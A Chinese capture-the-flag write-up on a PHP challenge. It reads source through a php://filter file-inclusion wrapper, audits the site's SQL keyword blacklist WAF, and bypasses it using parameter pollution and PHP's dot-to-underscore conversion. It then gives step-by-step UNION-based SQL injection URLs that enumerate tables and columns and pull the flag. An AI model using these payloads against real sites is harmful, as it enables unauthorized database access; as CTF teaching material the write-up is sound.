看到URL中有:index.php?file=CN
要有利用伪协议的思路:
php://filter/read=convert.base64-encode/resource=index
再结合dirbuster扫描后台得出waf,function,index,config,global,content多个php,了解了该网站的WAF策略:
#function.php
<?php
include './config.php';
function select($sql){
$re = mysql_query($sql);
$arr = array();
while ($row = mysql_fetch_array($re)) {
$arr[] = $row;
}
return $arr;
}
function filtering($str) {
$check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|\"', $str);
if($check)
{
echo "非法字符!";
exit();
}
$newstr="";
while($newstr!=$str){
$newstr=$str;
$str = str_replace("script", "", $str);
$str = str_replace("execute", "", $str);
$str = str_replace("update", "", $str);
$str = str_replace("master", "", $str);
$str = str_replace("truncate", "", $str);
$str = str_replace("declare", "", $str);
$str = str_replace("select", "", $str);
$str = str_replace("create", "", $str);
$str = str_replace("delete", "", $str);
$str = str_replace("insert", "", $str);
$str = str_replace("\'", "", $str);
}
return $str;
}
function safe_str($str){
if(!get_magic_quotes_gpc()) {
if( is_array($str) ) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
}else{
$str = addslashes($str);
}
}
return $str;
}
function dhtmlspecialchars($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
} else {
$string = str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string);
if(strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
?>
#waf.php
<?php
foreach ($_GET as $key => $value) {
if ($key != "username"&&strstr($key, "password") == false) {
$_GET[$key] = filtering($value);
}
}
foreach ($_POST as $key => $value) {
if ($key != "username"&&strstr($key, "password") == false) {
$_POST[$key] = filtering($value);
}
}
foreach ($_REQUEST as $key => $value) {
if ($key != "username"&&strstr($key, "password") == false) {
$_REQUEST[$key] = ($value);
}
}
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
foreach ($_POST as $key => $value) {
$_POST[$key] = safe_str($value);
$_GET[$key] = dhtmlspecialchars($value);
}
foreach ($_COOKIE as $key => $value) {
$_COOKIE[$key] = safe_str($value);
$_GET[$key] = dhtmlspecialchars($value);
}
?>
通过审计可知WAF非常严格:
在function.php中,对所有select,union等常用的关键字都进行了正则结合replace的过滤。
在waf.php中,对url中按’?‘分割开,然后对分隔开的第二个进行处理——再按’&‘分开,然后再按’='分开,再把值赋给$_REQUEST,例如:
http://ip:port/content.php?title_id=0/**/union/**/select/**/1,2,3,4/**/from/**/content&title.id=1
会先被分割为
['http://ip:port/content.php','title_id=0/**/union/**/select/**/1,2,3,4/**/from/**/content&title.id=1']
然后再对request_uri[1]按’&'分割:
['title_id=0/**/union/**/select/**/1,2,3,4/**/from/**/content','title.id=1']
再对两个参数逐一进行addslashes()(自动转义单引号(’)、双引号(")、反斜线(\)与 NUL(NULL 字符))和dhtmlspecialchars()(对()替换)过滤
解题思路:
首先需要了解网站waf和过滤流程,url传递进入后首先通过waf.php调用filtering(),如果出现黑名单上的关键字即进入Hacker页面,然后再对url手工分割,并存入$_REQUEST,后提取$title_id进行sql查询
extract($_REQUEST);
if(empty($_GET['title_id'])){
die("<script =\"JavaScript\"> alert('...');self.location='./index.php';</script> ");
}
$sql = "select * from content where title_id=$title_id";
$arr = select($sql);
了解了流程后就思考如何能绕过waf,并将查询语句赋给$_REQUEST
这里就要用到php的两个特性:
- HPP:当在url传递两个同名参数时,根据引擎和服务器的搭配会有不同的取舍原则,其中apache+php会取第二参数
.
,_
转换,在$_REQUEST等超全局变量中,php会自动将.
识别为_
所以我们可以根据这两条特性和已知sql语句构建payload找出列数为4:
http://ip:port/content.php?title_id=1/**/order/**/by/**/4&title.id=1
再找出回显列数,其中2,3可显:
http://ip:port/content.php?title_id=0/**/union/**/select/**/1,2,3,4&title.id=1
利用系统表结合LIMIT
爆破表,可查到存在flag表:
http://ip:port/content.php?title_id=0/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x77656231/**/limit/**/1,1&title.id=1
再爆破flag表的列,调整Limit的值获得存在列名flag:
http://ip:port/content.php?title_id=0/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/0x666c6167/**/limit/**/1,1&title.id=1
再获取flag表,flag列的值:
http://106.14.114.127:21013/content.php?title_id=0/**/union/**/select/**/1,flag,3,4/**/from/**/flag&title.id=1
注意:
由于对引号和等于号都有相应的过滤,所以在构建payload时一定得注意规避,也就是说在写payload之前一定得搞清楚过滤规则
在python中可以直接进行string和hex的转换:
'string'.encode('hex')
'hexstring'.decode('hex')